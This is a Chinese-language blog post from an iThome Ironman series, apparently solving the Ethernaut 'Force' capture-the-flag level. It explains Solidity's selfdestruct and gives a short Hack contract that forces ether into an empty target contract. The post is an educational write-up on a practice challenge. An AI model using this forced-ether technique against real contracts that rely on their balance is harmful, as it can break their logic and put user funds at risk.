iT邦幫忙

2024 iThome 鐵人賽

DAY 7
0
Security

在資產蒸發20%的情況下,憤而尋找合約漏洞試圖由虧轉盈系列 第 7

[Day7]Force之雖然打eth上的漏洞,但我人在 solana breakpoint 裡

  • 分享至 

  • xImage
  •  

今天是 solana breakpoint 2024 的第二天,聽到了很多項目的介紹以及計畫。新加坡的食物還是沒有很合我的胃口...可能我還是適合生活在台灣呢OUO

Force

題目

目標是讓關卡合約的 balance 大於 0 即可通關。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force { /*
                   MEOW ?
         /\_/\   /
    ____/ o o \
    /~____  =ø= /
    (______)__m_m)
                   */ }

喵喵(x),看到這個合約可能會想說這三小完全就是空的,但我們可以利用 selfdestruct 來解題。

selfdestruct

selfdestruct 是用來刪除合約的,並將該合約中剩餘的所有以太幣轉移到指定地址。所以,我們可以利用這個特性,將一個攻擊合約中的以太幣透過 selfdestruct 強制轉移到 Force 合約中。

用法

selfdestruct 的語法如下:

selfdestruct(address payable recipient);
  • recipient: 銷毀合約後,以太幣會轉移到這個地址,無論該地址是外部帳戶 (EOA) 還是另一個合約地址。

selfdestruct 被調用後:

  1. 合約將被永久銷毀,這意味著該合約的程式碼不再存在於區塊鏈上。
  2. 合約中的所有剩餘以太幣將被強制轉移到 recipient 地址。
  3. 該合約在未來也無法再被使用或調用,因為它的程式碼已被清除。

hack

pragma solidity ^0.8.0;

contract Force { /*
                   MEOW ?
         /\_/\   /
    ____/ o o \
    /~____  =ø= /
    (______)__m_m)
                   */ 
}

contract Hack {
    constructor(address payable _target) payable {
        selfdestruct(_target);
    }
}

上一篇
[Day6]Delegation 之 Today is solana breakpoint 2024 day1~
下一篇
[Day8]第八天拉!我回台灣了_Vault
系列文
在資產蒸發20%的情況下,憤而尋找合約漏洞試圖由虧轉盈16
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言